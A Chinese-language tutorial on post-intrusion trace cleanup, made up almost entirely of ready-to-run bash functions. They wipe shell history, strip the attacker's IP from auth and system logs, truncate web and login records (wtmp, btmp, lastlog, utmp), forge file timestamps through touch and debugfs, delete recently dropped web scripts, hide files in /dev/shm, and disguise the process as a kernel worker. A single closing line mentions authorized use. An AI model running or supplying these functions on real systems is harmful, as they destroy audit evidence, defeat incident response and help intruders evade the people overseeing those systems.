痕迹清理脚本
概述
渗透测试完成后,需要清理操作痕迹以保持隐蔽性。本文详细介绍 bash 环境下的痕迹清理技术,包括历史记录清除、日志篡改、时间戳修改和临时文件清理。
核心理念
- 操作前备份:清理前备份关键日志以便恢复
- 选择性清理:只清除自己的操作痕迹
- 时间窗口:控制清理操作的时间范围
- 隐蔽清理:避免清理操作本身留下痕迹
1. bash_history 清除
#!/usr/bin/env bash
# 痕迹清理工具
clean_bash_history() {
local user="${1:-$(whoami)}"
echo "[*] 清除 bash_history: $user"
# 清除当前会话历史
history -c
history -w
# 清除历史文件
local history_files=(
"/home/${user}/.bash_history"
"/root/.bash_history"
"/tmp/.bash_history"
)
for hfile in "${history_files[@]}"; do
if [[ -f "$hfile" ]]; then
# 用无关内容覆盖
dd if=/dev/urandom bs=1024 count=10 2>/dev/null | base64 > "$hfile"
# 或直接清空
: > "$hfile"
echo "[+] 已清除: $hfile"
fi
done
# 清除内存中的历史
unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0
echo "[+] bash_history 已清除"
}
# 选择性清除(只清除特定命令)
selective_history_clean() {
local pattern="$1"
echo "[*] 选择性清除历史: $pattern"
if [[ -f ~/.bash_history ]]; then
grep -v "$pattern" ~/.bash_history > /tmp/clean_history
mv /tmp/clean_history ~/.bash_history
echo "[+] 已移除匹配 '$pattern' 的历史记录"
fi
}2. 日志篡改
clean_auth_logs() {
echo "[*] 清理认证日志..."
local log_files=(
"/var/log/auth.log"
"/var/log/secure"
"/var/log/syslog"
"/var/log/messages"
)
for logfile in "${log_files[@]}"; do
if [[ -f "$logfile" ]]; then
# 提取并删除包含特定 IP 的行
local attacker_ip="${1:-$(curl -s ifconfig.me)}"
grep -v "$attacker_ip" "$logfile" > "${logfile}.clean"
mv "${logfile}.clean" "$logfile"
echo "[+] 已从 $logfile 中移除 $attacker_ip 的记录"
fi
done
}
clean_web_logs() {
local web_root="${1:-/var/www/html}"
echo "[*] 清理 Web 访问日志..."
local log_dirs=(
"/var/log/apache2"
"/var/log/nginx"
"/usr/local/apache2/logs"
)
for logdir in "${log_dirs[@]}"; do
if [[ -d "$logdir" ]]; then
find "$logdir" -name "access*.log*" -exec truncate -s 0 {} \;
echo "[+] 已清空 $logdir 下的访问日志"
fi
done
}
# 修改日志内容(替换 IP)
modify_logs() {
local old_ip="$1" new_ip="$2"
echo "[*] 修改日志中的 IP: $old_ip -> $new_ip"
find /var/log -type f -name "*.log" -exec sed -i "s/$old_ip/$new_ip/g" {} \; 2>/dev/null
echo "[+] 日志修改完成"
}3. 时间戳修改
# 使用 touch 修改文件时间戳
modify_timestamp() {
local file="$1"
local timestamp="${2:-$(date -d '3 days ago' '+%Y%m%d%H%M')}"
touch -t "$timestamp" "$file"
echo "[+] 时间戳已修改: $file -> $timestamp"
}
# 批量修改目录下所有文件的时间戳
batch_modify_timestamp() {
local dir="$1"
local timestamp="${2:-$(date -d '7 days ago' '+%Y%m%d%H%M')}"
find "$dir" -type f -exec touch -t "$timestamp" {} \;
echo "[+] 批量时间戳修改完成: $dir"
}
# 使用 timestomp 精确修改
advanced_timestomp() {
local file="$1"
local access_time="${2:-202301011200}"
local modify_time="${3:-202301011200}"
local change_time="${4:-202301011200}"
# 修改访问时间
touch -a -t "$access_time" "$file"
# 修改修改时间
touch -m -t "$modify_time" "$file"
# 使用 debugfs 修改 inode 时间(需要 root)
if [[ $EUID -eq 0 ]]; then
local inode
inode=$(stat -c %i "$file")
local device
device=$(df "$file" | tail -1 | awk '{print $1}')
echo "set_inode_field ${device} ${inode} atime ${access_time}" | debugfs -w "$device" 2>/dev/null
fi
echo "[+] 高级时间戳修改完成"
}4. 临时文件清理
clean_temp_files() {
echo "[*] 清理临时文件..."
# 清理 /tmp 下的可疑文件
find /tmp -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.bin" \) \
-mtime -7 -delete 2>/dev/null
# 清理共享内存
find /dev/shm -type f -delete 2>/dev/null
# 清理回收站
rm -rf ~/.local/share/Trash/* 2>/dev/null
# 清理最近文件记录
rm -rf ~/.local/share/recently-used.xbel 2>/dev/null
rm -rf ~/.recently-used* 2>/dev/null
# 清理缩略图
rm -rf ~/.thumbnails/* 2>/dev/null
rm -rf ~/.cache/thumbnails/* 2>/dev/null
echo "[+] 临时文件清理完成"
}
clean_uploads() {
echo "[*] 清理上传目录..."
find /var/www -type f \( -name "*.php" -o -name "*.asp" -o -name "*.jsp" -o -name "*.sh" \) \
-mtime -1 -delete 2>/dev/null
echo "[+] 上传文件清理完成"
}5. 隐蔽操作技巧
# 使用内存文件系统存储敏感操作
setup_ramdisk() {
local mount_point="/dev/shm/.hidden"
mkdir -p "$mount_point"
chmod 700 "$mount_point"
# 所有敏感操作在此目录进行
cd "$mount_point"
echo "[+] RAM 磁盘已挂载: $mount_point"
}
cleanup_ramdisk() {
local mount_point="/dev/shm/.hidden"
if [[ -d "$mount_point" ]]; then
# 用随机数据覆盖
dd if=/dev/urandom of="${mount_point}/wipe" bs=1M count=10 2>/dev/null
rm -rf "$mount_point"
echo "[+] RAM 磁盘已清理"
fi
}
# 使用 /dev/shm 隐藏文件
hide_in_shm() {
local file="$1"
local hidden_name
hidden_name=$(echo "$file" | md5sum | awk '{print $1}')
cp "$file" "/dev/shm/.${hidden_name}"
echo "/dev/shm/.${hidden_name}"
}
# 进程伪装
disguise_process() {
local pid=$$
# 修改进程名
exec -a "[kworker/0:0]" bash 2>/dev/null || true
echo "[+] 进程已伪装"
}
# 清除 last/lastb 记录
clean_last_logs() {
if [[ -f /var/log/wtmp ]]; then
: > /var/log/wtmp
echo "[+] wtmp 已清除"
fi
if [[ -f /var/log/btmp ]]; then
: > /var/log/btmp
echo "[+] btmp 已清除"
fi
if [[ -f /var/log/lastlog ]]; then
: > /var/log/lastlog
echo "[+] lastlog 已清除"
fi
}
# 清除 cron 日志
clean_cron_logs() {
if [[ -f /var/log/cron ]]; then
: > /var/log/cron
echo "[+] cron 日志已清除"
fi
}
# 清除 utmp/wtmp
clean_utmp() {
if [[ -f /var/run/utmp ]]; then
: > /var/run/utmp
echo "[+] utmp 已清除"
fi
}6. 综合清理脚本
full_cleanup() {
echo "[*] 开始全面痕迹清理..."
clean_bash_history
clean_auth_logs
clean_web_logs
clean_temp_files
clean_uploads
clean_last_logs
clean_cron_logs
clean_utmp
# 清理当前目录的临时文件
find . -type f \( -name "*.tmp" -o -name "*.swp" -o -name "*.swo" \) -delete 2>/dev/null
echo "[+] 全面清理完成"
echo "[!] 建议: 重启服务以清除内存中的痕迹"
}总结
本文介绍了渗透测试中痕迹清理的 bash 实现:bash_history 清除、日志篡改与替换、时间戳修改、临时文件清理、RAM 磁盘操作和进程伪装等技术。这些操作应在授权范围内使用。